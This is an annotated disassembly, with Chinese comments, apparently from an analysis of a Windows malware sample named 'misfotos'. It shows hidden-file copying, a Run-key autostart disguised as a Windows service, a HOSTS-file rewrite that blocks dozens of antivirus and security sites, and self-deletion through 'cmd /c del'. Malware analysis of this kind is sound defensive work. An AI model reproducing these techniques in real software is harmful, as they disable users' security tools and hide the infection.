00402CEA    FF15 8C804000   CALL DWORD PTR DS:[40808C]               ; kernel32.SetFileAttributesA(设置文件属性为:只读、系统、隐藏).
00402CF0    6A 00           PUSH 0
00402CF2    6A 00           PUSH 0
00402CF4    6A 00           PUSH 0
00402CF6    8D85 ACF8FFFF   LEA EAX,DWORD PTR SS:[EBP-754]
00402CFC    50              PUSH EAX                                 ; FileName = "C:\WINDOWS\system32\waccs.exe"
00402CFD    68 C4914000     PUSH misfotos.004091C4                   ; ASCII "open"
00402D02    6A 00           PUSH 0
00402D04    FF15 74814000   CALL DWORD PTR DS:[408174]               ; SHELL32.ShellExecuteA(调用运行拷贝后的病毒程序"waccs.exe").
00402D0A    E8 61060000     CALL misfotos.00403370                   ; 在HOSTS域名映像劫持文件中添加N个安全网站域名地址,不让用户访问这些网站.
00402D0F    E8 F9120000     CALL misfotos.0040400D                   ; 安装程序关闭退出,并执行自我删除操作.
00402D14    FF15 88804000   CALL DWORD PTR DS:[408088]               ; ntdll.RtlGetLastWin32Error(如果s2 == s1,则该病毒程序从这里开始执行恶意操作.)
----------------------------------------------------------
在注册表中添加病毒启动项:
00404170    55              PUSH EBP
00404171    8BEC            MOV EBP,ESP
00404173    81EC 8C000000   SUB ESP,8C
00404179    6A 00           PUSH 0
0040417B    8D45 FC         LEA EAX,DWORD PTR SS:[EBP-4]
0040417E    50              PUSH EAX
0040417F    6A 00           PUSH 0
00404181    68 3F000F00     PUSH 0F003F
00404186    6A 00           PUSH 0
00404188    6A 00           PUSH 0
0040418A    6A 00           PUSH 0
0040418C    68 CAFEBB29     PUSH 29BBFECA
00404191    8D4D CC         LEA ECX,DWORD PTR SS:[EBP-34]
00404194    E8 4C060000     CALL misfotos.004047E5                   ; ASCII "Software\Microsoft\Windows\CurrentVersion\Run"
00404199    50              PUSH EAX                                 ; ASCII "Software\Microsoft\Windows\CurrentVersion\Run"
0040419A    68 02000080     PUSH 80000002
0040419F    FF15 08804000   CALL DWORD PTR DS:[408008]               ; ADVAPI32.RegCreateKeyExA(hKey = HKEY_LOCAL_MACHINE).
004041A5    8D4D CC         LEA ECX,DWORD PTR SS:[EBP-34]
004041A8    E8 08010000     CALL misfotos.004042B5                   ; 清除内存数据.
004041AD    837D 08 00      CMP DWORD PTR SS:[EBP+8],0
004041B1    74 32           JE SHORT misfotos.004041E5
004041B3    FF75 08         PUSH DWORD PTR SS:[EBP+8]                ; String = "waccs.exe"
004041B6    FF15 D8804000   CALL DWORD PTR DS:[4080D8]               ; kernel32.lstrlenA
004041BC    50              PUSH EAX
004041BD    FF75 08         PUSH DWORD PTR SS:[EBP+8]
004041C0    6A 01           PUSH 1
004041C2    6A 00           PUSH 0
004041C4    68 4E9127A1     PUSH A127914E
004041C9    8D4D A0         LEA ECX,DWORD PTR SS:[EBP-60]
004041CC    E8 74060000     CALL misfotos.00404845                   ; ASCII "Windows Activation Control Center Service"
004041D1    50              PUSH EAX                                 ; ASCII "Windows Activation Control Center Service"
004041D2    FF75 FC         PUSH DWORD PTR SS:[EBP-4]
004041D5    FF15 04804000   CALL DWORD PTR DS:[408004]               ; ADVAPI32.RegSetValueExA
004041DB    8D4D A0         LEA ECX,DWORD PTR SS:[EBP-60]
004041DE    E8 FA000000     CALL misfotos.004042DD                   ; 清除内存数据.
004041E3    EB 25           JMP SHORT misfotos.0040420A
004041E5    68 7A9127A1     PUSH A127917A
004041EA    8D8D 74FFFFFF   LEA ECX,DWORD PTR SS:[EBP-8C]
004041F0    E8 50060000     CALL misfotos.00404845                   ; 清除内存数据.
004041F5    50              PUSH EAX
004041F6    FF75 FC         PUSH DWORD PTR SS:[EBP-4]
004041F9    FF15 00804000   CALL DWORD PTR DS:[408000]               ; ADVAPI32.RegDeleteValueA
004041FF    8D8D 74FFFFFF   LEA ECX,DWORD PTR SS:[EBP-8C]
00404205    E8 D3000000     CALL misfotos.004042DD                   ; 清除内存数据.
0040420A    FF75 FC         PUSH DWORD PTR SS:[EBP-4]
0040420D    FF15 18804000   CALL DWORD PTR DS:[408018]               ; ADVAPI32.RegCloseKey
00404213    C9              LEAVE
00404214    C3              RETN                                     ; 返回.


在HOSTS域名映像劫持文件中添加N个安全网站域名地址,不让用户访问这些网站:
00403370    55              PUSH EBP
00403371    8BEC            MOV EBP,ESP
00403373    81EC E0030000   SUB ESP,3E0
00403379    68 04010000     PUSH 104
0040337E    6A 00           PUSH 0
00403380    8D85 B4FCFFFF   LEA EAX,DWORD PTR SS:[EBP-34C]
00403386    50              PUSH EAX
00403387    E8 AE3C0000     CALL misfotos.0040703A                   ; JMP 到 msvcrt.memset
0040338C    83C4 0C         ADD ESP,0C
0040338F    68 04010000     PUSH 104
00403394    8D85 B4FCFFFF   LEA EAX,DWORD PTR SS:[EBP-34C]
0040339A    50              PUSH EAX
0040339B    FF15 94804000   CALL DWORD PTR DS:[408094]               ; kernel32.GetSystemDirectoryA(获取系统SYSTEM32文件夹路径名).
004033A1    68 04010000     PUSH 104
004033A6    68 E6430183     PUSH 830143E6
004033AB    8D8D A0FCFFFF   LEA ECX,DWORD PTR SS:[EBP-360]
004033B1    E8 4F0F0000     CALL misfotos.00404305                   ; ASCII "\drivers\etc\hosts"
004033B6    50              PUSH EAX                                 ; ASCII "\drivers\etc\hosts"
004033B7    8D85 B4FCFFFF   LEA EAX,DWORD PTR SS:[EBP-34C]
004033BD    50              PUSH EAX                                 ; ASCII "C:\WINDOWS\system32"
004033BE    E8 6B3C0000     CALL misfotos.0040702E                   ; JMP 到 msvcrt.strncat(ASCII "C:\WINDOWS\system32\drivers\etc\hosts").
004033C3    83C4 0C         ADD ESP,0C
004033C6    8D8D A0FCFFFF   LEA ECX,DWORD PTR SS:[EBP-360]
004033CC    E8 C5EAFFFF     CALL misfotos.00401E96                   ; 清除内存数据.
004033D1    68 38924000     PUSH misfotos.00409238                   ; /mode = "w"
004033D6    8D85 B4FCFFFF   LEA EAX,DWORD PTR SS:[EBP-34C]
004033DC    50              PUSH EAX                                 ; |path = "C:\WINDOWS\system32\drivers\etc\hosts"
004033DD    E8 D83C0000     CALL misfotos.004070BA                   ; JMP 到 msvcrt.fopen(打开HOSTS域名映像劫持文件)
004033E2    59              POP ECX
004033E3    59              POP ECX
004033E4    8985 B8FDFFFF   MOV DWORD PTR SS:[EBP-248],EAX
004033EA    83BD B8FDFFFF 0>CMP DWORD PTR SS:[EBP-248],0
004033F1    75 07           JNZ SHORT misfotos.004033FA
004033F3    32C0            XOR AL,AL
004033F5    E9 18060000     JMP misfotos.00403A12
004033FA    68 AF305D14     PUSH 145D30AF
004033FF    8D8D 70FCFFFF   LEA ECX,DWORD PTR SS:[EBP-390]
00403405    E8 5B0F0000     CALL misfotos.00404365                   ; ASCII "# Copyright (c) 1993-1999 Microsoft Corp.
#
"
0040340A    50              PUSH EAX                                 ; /format = "# Copyright (c) 1993-1999 Microsoft Corp.
#
"
0040340B    FFB5 B8FDFFFF   PUSH DWORD PTR SS:[EBP-248]              ; |stream = msvcrt.77C2FCE0
00403411    E8 9E3C0000     CALL misfotos.004070B4                   ; JMP 到 msvcrt.fprintf
00403416    59              POP ECX
00403417    59              POP ECX
00403418    8D8D 70FCFFFF   LEA ECX,DWORD PTR SS:[EBP-390]
0040341E    E8 F20D0000     CALL misfotos.00404215                   ; 清除内存数据.
00403423    68 981A4325     PUSH 25431A98
00403428    8D8D 20FCFFFF   LEA ECX,DWORD PTR SS:[EBP-3E0]
0040342E    E8 920F0000     CALL misfotos.004043C5                   ; ASCII "# This is a sample LMHOSTS file used by the Microsoft TCP/IP for Windows.
#

"
00403433    50              PUSH EAX                                 ; /format = "# This is a sample LMHOSTS file used by the Microsoft TCP/IP for Windows.
#

"
00403434    FFB5 B8FDFFFF   PUSH DWORD PTR SS:[EBP-248]              ; |stream = msvcrt.77C2FCE0
0040343A    E8 753C0000     CALL misfotos.004070B4                   ; JMP 到 msvcrt.fprintf
0040343F    59              POP ECX
00403440    59              POP ECX
00403441    8D8D 20FCFFFF   LEA ECX,DWORD PTR SS:[EBP-3E0]
00403447    E8 F10D0000     CALL misfotos.0040423D                   ; 清除内存数据.
0040344C    C785 C0FDFFFF B>MOV DWORD PTR SS:[EBP-240],misfotos.0040>; merijn.org
00403456    C785 C4FDFFFF C>MOV DWORD PTR SS:[EBP-23C],misfotos.0040>; www.merijn.org
00403460    C785 C8FDFFFF D>MOV DWORD PTR SS:[EBP-238],misfotos.0040>; www.spywareinfo.comspywareinfo.c ... fowww.viruslist.com
0040346A    C785 CCFDFFFF E>MOV DWORD PTR SS:[EBP-234],misfotos.0040>; spywareinfo.comwww.spybot.infospybot.infowww.viruslist.com
00403474    C785 D0FDFFFF F>MOV DWORD PTR SS:[EBP-230],misfotos.0040>; www.spybot.infospybot.infowww.viruslist.com
0040347E    C785 D4FDFFFF 0>MOV DWORD PTR SS:[EBP-22C],misfotos.0040>; spybot.infowww.viruslist.com
00403488    C785 D8FDFFFF 1>MOV DWORD PTR SS:[EBP-228],misfotos.0040>; www.viruslist.com
00403492    C785 DCFDFFFF 2>MOV DWORD PTR SS:[EBP-224],misfotos.0040>; viruslist.com
0040349C    C785 E0FDFFFF 3>MOV DWORD PTR SS:[EBP-220],misfotos.0040>; www.hijackthis.de
004034A6    C785 E4FDFFFF 5>MOV DWORD PTR SS:[EBP-21C],misfotos.0040>; hijackthis.de
004034B0    C785 E8FDFFFF 6>MOV DWORD PTR SS:[EBP-218],misfotos.0040>; www.majorgeeks.com
004034BA    C785 ECFDFFFF 7>MOV DWORD PTR SS:[EBP-214],misfotos.0040>; majorgeeks.com
004034C4    C785 F0FDFFFF 8>MOV DWORD PTR SS:[EBP-210],misfotos.0040>; www.virustotal.com
004034CE    C785 F4FDFFFF 9>MOV DWORD PTR SS:[EBP-20C],misfotos.0040>; virustotal.com
004034D8    C785 F8FDFFFF A>MOV DWORD PTR SS:[EBP-208],misfotos.0040>; kaspersky.com
004034E2    C785 FCFDFFFF B>MOV DWORD PTR SS:[EBP-204],misfotos.0040>; kaspersky-labs.com
004034EC    C785 00FEFFFF C>MOV DWORD PTR SS:[EBP-200],misfotos.0040>; www.kaspersky.com
004034F6    C785 04FEFFFF E>MOV DWORD PTR SS:[EBP-1FC],misfotos.0040>; www.sophos.com
00403500    C785 08FEFFFF F>MOV DWORD PTR SS:[EBP-1F8],misfotos.0040>; sophos
0040350A    C785 0CFEFFFF F>MOV DWORD PTR SS:[EBP-1F4],misfotos.0040>; securityresponse.symantec.com
00403514    C785 10FEFFFF 1>MOV DWORD PTR SS:[EBP-1F0],misfotos.0040>; symantec.com
0040351E    C785 14FEFFFF 2>MOV DWORD PTR SS:[EBP-1EC],misfotos.0040>; www.symantec.com
00403528    C785 18FEFFFF 3>MOV DWORD PTR SS:[EBP-1E8],misfotos.0040>; updates.symantec.com
00403532    C785 1CFEFFFF 5>MOV DWORD PTR SS:[EBP-1E4],misfotos.0040>; liveupdate.symantecliveupdate.com
0040353C    C785 20FEFFFF 7>MOV DWORD PTR SS:[EBP-1E0],misfotos.0040>; liveupdate.symantec.comcustomer.symantec.com
00403546    C785 24FEFFFF 9>MOV DWORD PTR SS:[EBP-1DC],misfotos.0040>; customer.symantec.com
00403550    C785 28FEFFFF A>MOV DWORD PTR SS:[EBP-1D8],misfotos.0040>; update.symantec.comwww.mcafee.com
0040355A    C785 2CFEFFFF B>MOV DWORD PTR SS:[EBP-1D4],misfotos.0040>; www.mcafee.com
00403564    C785 30FEFFFF C>MOV DWORD PTR SS:[EBP-1D0],misfotos.0040>; mcafee.com
0040356E    C785 34FEFFFF D>MOV DWORD PTR SS:[EBP-1CC],misfotos.0040>; rads.mcafee.commast.mcafee.comdownload.mcafee.comdispatch.mcafee.comus.mcafee.com
00403578    C785 38FEFFFF E>MOV DWORD PTR SS:[EBP-1C8],misfotos.0040>; mast.mcafee.comdownload.mcafee.comdispatch.mcafee.comus.mcafee.com
00403582    C785 3CFEFFFF F>MOV DWORD PTR SS:[EBP-1C4],misfotos.0040>; download.mcafee.comdispatch.mcafee.comus.mcafee.com
0040358C    C785 40FEFFFF 0>MOV DWORD PTR SS:[EBP-1C0],misfotos.0040>; dispatch.mcafee.comus.mcafee.com
00403596    C785 44FEFFFF 2>MOV DWORD PTR SS:[EBP-1BC],misfotos.0040>; us.mcafee.com
004035A0    C785 48FEFFFF 3>MOV DWORD PTR SS:[EBP-1B8],misfotos.0040>; www.trendsecure.comtrendsecure.c ... seclab.tuwien.ac.at
004035AA    C785 4CFEFFFF 4>MOV DWORD PTR SS:[EBP-1B4],misfotos.0040>; trendsecure.comwww.avp.comavp.comanalysis.seclab.tuwien.ac.at
004035B4    C785 50FEFFFF 5>MOV DWORD PTR SS:[EBP-1B0],misfotos.0040>; www.avp.comavp.comanalysis.seclab.tuwien.ac.at
004035BE    C785 54FEFFFF 6>MOV DWORD PTR SS:[EBP-1AC],misfotos.0040>; avp.comanalysis.seclab.tuwien.ac.at
004035C8    C785 58FEFFFF 6>MOV DWORD PTR SS:[EBP-1A8],misfotos.0040>; analysis.seclab.tuwien.ac.at
004035D2    C785 5CFEFFFF 8>MOV DWORD PTR SS:[EBP-1A4],misfotos.0040>; www.bleepingcomputer.com
004035DC    C785 60FEFFFF A>MOV DWORD PTR SS:[EBP-1A0],misfotos.0040>; bleepingcomputer.com
004035E6    C785 64FEFFFF B>MOV DWORD PTR SS:[EBP-19C],misfotos.0040>; guru0.grisoft.cz
004035F0    C785 68FEFFFF D>MOV DWORD PTR SS:[EBP-198],misfotos.0040>; guru1.grisoft.cz
004035FA    C785 6CFEFFFF E>MOV DWORD PTR SS:[EBP-194],misfotos.0040>; guru2.grisoft.cz
00403604    C785 70FEFFFF F>MOV DWORD PTR SS:[EBP-190],misfotos.0040>; guru3.grisoft.cz
0040360E    C785 74FEFFFF 0>MOV DWORD PTR SS:[EBP-18C],misfotos.0040>; guru4.grisoft.cz
00403618    C785 78FEFFFF 2>MOV DWORD PTR SS:[EBP-188],misfotos.0040>; guru5.grisoft.cz
00403622    C785 7CFEFFFF 3>MOV DWORD PTR SS:[EBP-184],misfotos.0040>; download.f-secure.com
0040362C    C785 80FEFFFF 4>MOV DWORD PTR SS:[EBP-180],misfotos.0040>; www.download.f-secure.com
00403636    C785 84FEFFFF 6>MOV DWORD PTR SS:[EBP-17C],misfotos.0040>; avg-antivirus.net
00403640    C785 88FEFFFF 7>MOV DWORD PTR SS:[EBP-178],misfotos.0040>; www.avg-antivirus.net
0040364A    C785 8CFEFFFF 9>MOV DWORD PTR SS:[EBP-174],misfotos.0040>; f-secure.com
00403654    C785 90FEFFFF A>MOV DWORD PTR SS:[EBP-170],misfotos.0040>; www.f-secure.com
0040365E    C785 94FEFFFF B>MOV DWORD PTR SS:[EBP-16C],misfotos.0040>; free.grisoft.com
00403668    C785 98FEFFFF C>MOV DWORD PTR SS:[EBP-168],misfotos.0040>; www.free.grisoft.com
00403672    C785 9CFEFFFF E>MOV DWORD PTR SS:[EBP-164],misfotos.0040>; free.avg.com
0040367C    C785 A0FEFFFF F>MOV DWORD PTR SS:[EBP-160],misfotos.0040>; www.free.avg.com
00403686    C785 A4FEFFFF 0>MOV DWORD PTR SS:[EBP-15C],misfotos.0040>; avast.com
00403690    C785 A8FEFFFF 1>MOV DWORD PTR SS:[EBP-158],misfotos.0040>; www.avast.com
0040369A    C785 ACFEFFFF 2>MOV DWORD PTR SS:[EBP-154],misfotos.0040>; onlinescan.avast.com
004036A4    C785 B0FEFFFF 3>MOV DWORD PTR SS:[EBP-150],misfotos.0040>; www.onlinescan.avast.com
004036AE    C785 B4FEFFFF 5>MOV DWORD PTR SS:[EBP-14C],misfotos.0040>; housecall.trendmicro.com
004036B8    C785 B8FEFFFF 7>MOV DWORD PTR SS:[EBP-148],misfotos.0040>; www.housecall.trendmicro.com
004036C2    C785 BCFEFFFF 9>MOV DWORD PTR SS:[EBP-144],misfotos.0040>; free.avg.com
004036CC    C785 C0FEFFFF A>MOV DWORD PTR SS:[EBP-140],misfotos.0040>; www.free.avg.com
004036D6    C785 C4FEFFFF B>MOV DWORD PTR SS:[EBP-13C],misfotos.0040>; bitdefender.comwww.bitdefender.comtrendsecure.comwww.trendsecure.comfuturenow.bitdefender.com
004036E0    C785 C8FEFFFF C>MOV DWORD PTR SS:[EBP-138],misfotos.0040>; www.bitdefender.comtrendsecure.c ... now.bitdefender.com
004036EA    C785 CCFEFFFF D>MOV DWORD PTR SS:[EBP-134],misfotos.0040>; trendsecure.comwww.trendsecure.comfuturenow.bitdefender.com
004036F4    C785 D0FEFFFF E>MOV DWORD PTR SS:[EBP-130],misfotos.0040>; www.trendsecure.comfuturenow.bitdefender.com
004036FE    C785 D4FEFFFF 0>MOV DWORD PTR SS:[EBP-12C],misfotos.0040>; futurenow.bitdefender.com
00403708    C785 D8FEFFFF 1>MOV DWORD PTR SS:[EBP-128],misfotos.0040>; www.futurenow.bitdefender.com
00403712    C785 DCFEFFFF 3>MOV DWORD PTR SS:[EBP-124],misfotos.0040>; f-prot.com
0040371C    C785 E0FEFFFF 4>MOV DWORD PTR SS:[EBP-120],misfotos.0040>; www.f-prot.com
00403726    C785 E4FEFFFF 5>MOV DWORD PTR SS:[EBP-11C],misfotos.0040>; eset.com
00403730    C785 E8FEFFFF 6>MOV DWORD PTR SS:[EBP-118],misfotos.0040>; www.eset.com
0040373A    C785 ECFEFFFF 7>MOV DWORD PTR SS:[EBP-114],misfotos.0040>; free-av.comwww.free-av.comavira.com
00403744    C785 F0FEFFFF 8>MOV DWORD PTR SS:[EBP-110],misfotos.0040>; www.free-av.comavira.com
0040374E    C785 F4FEFFFF 9>MOV DWORD PTR SS:[EBP-10C],misfotos.0040>; avira.com
00403758    C785 F8FEFFFF 9>MOV DWORD PTR SS:[EBP-108],misfotos.0040>; www.avira.com
00403762    C785 FCFEFFFF A>MOV DWORD PTR SS:[EBP-104],misfotos.0040>; free.avg.com
0040376C    C785 00FFFFFF B>MOV DWORD PTR SS:[EBP-100],misfotos.0040>; www.free.avg.com
00403776    C785 04FFFFFF D>MOV DWORD PTR SS:[EBP-FC],misfotos.00409>; antivir.es
00403780    C785 08FFFFFF D>MOV DWORD PTR SS:[EBP-F8],misfotos.00409>; www.antivir.es
0040378A    C785 0CFFFFFF E>MOV DWORD PTR SS:[EBP-F4],misfotos.00409>; ikarus.net
00403794    C785 10FFFFFF F>MOV DWORD PTR SS:[EBP-F0],misfotos.00409>; www.ikarus.net
0040379E    C785 14FFFFFF 0>MOV DWORD PTR SS:[EBP-EC],misfotos.00409>; prevx.com
004037A8    C785 18FFFFFF 1>MOV DWORD PTR SS:[EBP-E8],misfotos.00409>; www.prevx.com
004037B2    C785 1CFFFFFF 2>MOV DWORD PTR SS:[EBP-E4],misfotos.00409>; 2-spyware.com
004037BC    C785 20FFFFFF 3>MOV DWORD PTR SS:[EBP-E0],misfotos.00409>; www.2-spyware.com
004037C6    C785 24FFFFFF 4>MOV DWORD PTR SS:[EBP-DC],misfotos.00409>; castlecops.com
004037D0    C785 28FFFFFF 5>MOV DWORD PTR SS:[EBP-D8],misfotos.00409>; www.castlecops.com
004037DA    C785 2CFFFFFF 6>MOV DWORD PTR SS:[EBP-D4],misfotos.00409>; virusinfo.prevx.comwww.virusinfo.prevx.comforums.majorgeeks.com
004037E4    C785 30FFFFFF 8>MOV DWORD PTR SS:[EBP-D0],misfotos.00409>; www.virusinfo.prevx.comforums.majorgeeks.com
004037EE    C785 34FFFFFF 9>MOV DWORD PTR SS:[EBP-CC],misfotos.00409>; forums.majorgeeks.com
004037F8    C785 38FFFFFF B>MOV DWORD PTR SS:[EBP-C8],misfotos.00409>; www.forums.majorgeeks.com
00403802    C785 3CFFFFFF C>MOV DWORD PTR SS:[EBP-C4],misfotos.00409>; eradicatespyware.net
0040380C    C785 40FFFFFF E>MOV DWORD PTR SS:[EBP-C0],misfotos.00409>; www.eradicatespyware.net
00403816    C785 44FFFFFF 0>MOV DWORD PTR SS:[EBP-BC],misfotos.00409>; fortinet.com
00403820    C785 48FFFFFF 1>MOV DWORD PTR SS:[EBP-B8],misfotos.00409>; www.fortinet.com
0040382A    C785 4CFFFFFF 2>MOV DWORD PTR SS:[EBP-B4],misfotos.00409>; fortiguardcenter.com
00403834    C785 50FFFFFF 3>MOV DWORD PTR SS:[EBP-B0],misfotos.00409>; www.fortiguardcenter.com
0040383E    C785 54FFFFFF 5>MOV DWORD PTR SS:[EBP-AC],misfotos.00409>; trendmicro.com
00403848    C785 58FFFFFF 6>MOV DWORD PTR SS:[EBP-A8],misfotos.00409>; www.trendmicro.com
00403852    C785 5CFFFFFF 7>MOV DWORD PTR SS:[EBP-A4],misfotos.00409>; www.safer-networking.org
0040385C    C785 60FFFFFF 9>MOV DWORD PTR SS:[EBP-A0],misfotos.00409>; safer-networking.org
00403866    C785 64FFFFFF B>MOV DWORD PTR SS:[EBP-9C],misfotos.00409>; auditmypc.com
00403870    C785 68FFFFFF C>MOV DWORD PTR SS:[EBP-98],misfotos.00409>; www.auditmypc.com
0040387A    C785 6CFFFFFF D>MOV DWORD PTR SS:[EBP-94],misfotos.00409>; pctools.comwww.pctools.comfirewallguide.com
00403884    C785 70FFFFFF E>MOV DWORD PTR SS:[EBP-90],misfotos.00409>; www.pctools.comfirewallguide.com
0040388E    C785 74FFFFFF F>MOV DWORD PTR SS:[EBP-8C],misfotos.00409>; firewallguide.com
00403898    C785 78FFFFFF 0>MOV DWORD PTR SS:[EBP-88],misfotos.00409>; www.firewallguide.com
004038A2    C785 7CFFFFFF 1>MOV DWORD PTR SS:[EBP-84],misfotos.00409>; spywaredb.com
004038AC    C745 80 2C9B400>MOV DWORD PTR SS:[EBP-80],misfotos.00409>; www.spywaredb.com
004038B3    C745 84 409B400>MOV DWORD PTR SS:[EBP-7C],misfotos.00409>; virusspy.com
004038BA    C745 88 509B400>MOV DWORD PTR SS:[EBP-78],misfotos.00409>; www.virusspy.com
004038C1    C745 8C 649B400>MOV DWORD PTR SS:[EBP-74],misfotos.00409>; eradicatespyware.net
004038C8    C745 90 7C9B400>MOV DWORD PTR SS:[EBP-70],misfotos.00409>; www.eradicatespyware.net
004038CF    C745 94 989B400>MOV DWORD PTR SS:[EBP-6C],misfotos.00409>; spywareterminator.com
004038D6    C745 98 B09B400>MOV DWORD PTR SS:[EBP-68],misfotos.00409>; www.spywareterminator.com
004038DD    C745 9C CC9B400>MOV DWORD PTR SS:[EBP-64],misfotos.00409>; freespywareremoval.infowww.freespywareremoval.infoantivirus.about.comwww.antivirus.about.comantivirus.comodo.com
004038E4    C745 A0 E49B400>MOV DWORD PTR SS:[EBP-60],misfotos.00409>; www.freespywareremoval.infoantiv ... ntivirus.comodo.com
004038EB    C745 A4 009C400>MOV DWORD PTR SS:[EBP-5C],misfotos.00409>; antivirus.about.comwww.antivirus.about.comantivirus.comodo.com
004038F2    C745 A8 149C400>MOV DWORD PTR SS:[EBP-58],misfotos.00409>; www.antivirus.about.comantivirus.comodo.com
004038F9    C745 AC 2C9C400>MOV DWORD PTR SS:[EBP-54],misfotos.00409>; antivirus.comodo.com
00403900    C745 B0 449C400>MOV DWORD PTR SS:[EBP-50],misfotos.00409>; www.antivirus.comodo.com
00403907    C745 B4 609C400>MOV DWORD PTR SS:[EBP-4C],misfotos.00409>; clamav.net
0040390E    C745 B8 6C9C400>MOV DWORD PTR SS:[EBP-48],misfotos.00409>; www.clamav.net
00403915    C745 BC 7C9C400>MOV DWORD PTR SS:[EBP-44],misfotos.00409>; pandasecurity.com
0040391C    C745 C0 909C400>MOV DWORD PTR SS:[EBP-40],misfotos.00409>; www.pandasecurity.com
00403923    C745 C4 A89C400>MOV DWORD PTR SS:[EBP-3C],misfotos.00409>; clamwin.comwww.clamwin.comshop.symantecstore.com
0040392A    C745 C8 B49C400>MOV DWORD PTR SS:[EBP-38],misfotos.00409>; www.clamwin.comshop.symantecstore.com
00403931    C745 CC C49C400>MOV DWORD PTR SS:[EBP-34],misfotos.00409>; shop.symantecstore.com
00403938    C745 D0 DC9C400>MOV DWORD PTR SS:[EBP-30],misfotos.00409>; www.shop.symantecstore.com
0040393F    C745 D4 F89C400>MOV DWORD PTR SS:[EBP-2C],misfotos.00409>; shop.ca.comwww.shop.ca.comca.com
00403946    C745 D8 049D400>MOV DWORD PTR SS:[EBP-28],misfotos.00409>; www.shop.ca.comca.com
0040394D    C745 DC 149D400>MOV DWORD PTR SS:[EBP-24],misfotos.00409>; ca.com
00403954    C745 E0 1C9D400>MOV DWORD PTR SS:[EBP-20],misfotos.00409>; www.ca.com
0040395B    C745 E4 289D400>MOV DWORD PTR SS:[EBP-1C],misfotos.00409>; networkworld.com
00403962    C745 E8 3C9D400>MOV DWORD PTR SS:[EBP-18],misfotos.00409>; www.networkworld.com
00403969    C745 EC 549D400>MOV DWORD PTR SS:[EBP-14],misfotos.00409>; norman.com
00403970    C745 F0 609D400>MOV DWORD PTR SS:[EBP-10],misfotos.00409>; www.norman.com
00403977    C745 F4 709D400>MOV DWORD PTR SS:[EBP-C],misfotos.00409D>; grisoft.comwww.grisoft.com\n
0040397E    C745 F8 7C9D400>MOV DWORD PTR SS:[EBP-8],misfotos.00409D>; www.grisoft.com\n
00403985    8365 FC 00      AND DWORD PTR SS:[EBP-4],0
00403989    83A5 BCFDFFFF 0>AND DWORD PTR SS:[EBP-244],0
00403990    EB 0D           JMP SHORT misfotos.0040399F
00403992    8B85 BCFDFFFF   MOV EAX,DWORD PTR SS:[EBP-244]
00403998    40              INC EAX
00403999    8985 BCFDFFFF   MOV DWORD PTR SS:[EBP-244],EAX
0040399F    83BD BCFDFFFF 5>CMP DWORD PTR SS:[EBP-244],5A
004039A6    7D 14           JGE SHORT misfotos.004039BC
004039A8    68 8C9D4000     PUSH misfotos.00409D8C                   ; \n
004039AD    FFB5 B8FDFFFF   PUSH DWORD PTR SS:[EBP-248]
004039B3    E8 FC360000     CALL misfotos.004070B4                   ; JMP 到 msvcrt.fprintf
004039B8    59              POP ECX
004039B9    59              POP ECX
004039BA ^ EB D6           JMP SHORT misfotos.00403992              ; 循环插入"\n".
004039BC    83A5 BCFDFFFF 0>AND DWORD PTR SS:[EBP-244],0
004039C3    EB 0D           JMP SHORT misfotos.004039D2
004039C5    8B85 BCFDFFFF   MOV EAX,DWORD PTR SS:[EBP-244]
004039CB    40              INC EAX
004039CC    8985 BCFDFFFF   MOV DWORD PTR SS:[EBP-244],EAX
004039D2    8B85 BCFDFFFF   MOV EAX,DWORD PTR SS:[EBP-244]
004039D8    83BC85 C0FDFFFF>CMP DWORD PTR SS:[EBP+EAX*4-240],0
004039E0    74 22           JE SHORT misfotos.00403A04
004039E2    8B85 BCFDFFFF   MOV EAX,DWORD PTR SS:[EBP-244]
004039E8    FFB485 C0FDFFFF PUSH DWORD PTR SS:[EBP+EAX*4-240]
004039EF    68 909D4000     PUSH misfotos.00409D90                   ; 127.0.0.1\t%s\n
004039F4    FFB5 B8FDFFFF   PUSH DWORD PTR SS:[EBP-248]
004039FA    E8 B5360000     CALL misfotos.004070B4                   ; JMP 到 msvcrt.fprintf
004039FF    83C4 0C         ADD ESP,0C
00403A02 ^ EB C1           JMP SHORT misfotos.004039C5              ; 循环插入"127.0.0.1\t%s\n".
00403A04    FFB5 B8FDFFFF   PUSH DWORD PTR SS:[EBP-248]
00403A0A    E8 9F360000     CALL misfotos.004070AE                   ; JMP 到 msvcrt.fclose(关闭HOSTS域名映像劫持文件)
00403A0F    59              POP ECX
00403A10    B0 01           MOV AL,1
00403A12    C9              LEAVE
00403A13    C3              RETN                                     ; 返回.


安装程序关闭退出,并执行自我删除操作:
0040400D    55              PUSH EBP
0040400E    8BEC            MOV EBP,ESP
00404010    81EC 48030000   SUB ESP,348
00404016    68 04010000     PUSH 104
0040401B    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
00404021    50              PUSH EAX
00404022    6A 00           PUSH 0
00404024    FF15 9C804000   CALL DWORD PTR DS:[40809C]               ; kernel32.GetModuleHandleA
0040402A    50              PUSH EAX
0040402B    FF15 98804000   CALL DWORD PTR DS:[408098]               ; kernel32.GetModuleFileNameA(获取程序自身当前路径名).
00404031    68 04010000     PUSH 104
00404036    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
0040403C    50              PUSH EAX
0040403D    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
00404043    50              PUSH EAX
00404044    FF15 D4804000   CALL DWORD PTR DS:[4080D4]               ; kernel32.GetShortPathNameA(将Windows中的长文件名转换为DOS下的短文件名).
0040404A    68 04010000     PUSH 104
0040404F    8D85 B8FCFFFF   LEA EAX,DWORD PTR SS:[EBP-348]
00404055    50              PUSH EAX
00404056    68 389E4000     PUSH misfotos.00409E38                   ; comspec/c del > nul
0040405B    FF15 D0804000   CALL DWORD PTR DS:[4080D0]               ; kernel32.GetEnvironmentVariableA
00404061    6A 04           PUSH 4
00404063    6A 00           PUSH 0
00404065    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
0040406B    50              PUSH EAX                                 ; "C:\DOCUME~1\CODERU~1\桌面\VIRUS.EXE"
0040406C    FF15 CC804000   CALL DWORD PTR DS:[4080CC]               ; kernel32.MoveFileExA
00404072    68 04010000     PUSH 104
00404077    68 409E4000     PUSH misfotos.00409E40                   ; /c del > nul
0040407C    8D85 F8FDFFFF   LEA EAX,DWORD PTR SS:[EBP-208]
00404082    50              PUSH EAX
00404083    E8 14300000     CALL misfotos.0040709C                   ; JMP 到 msvcrt.strncpy
00404088    83C4 0C         ADD ESP,0C
0040408B    68 04010000     PUSH 104                                 ; /maxlen = 104 (260.)
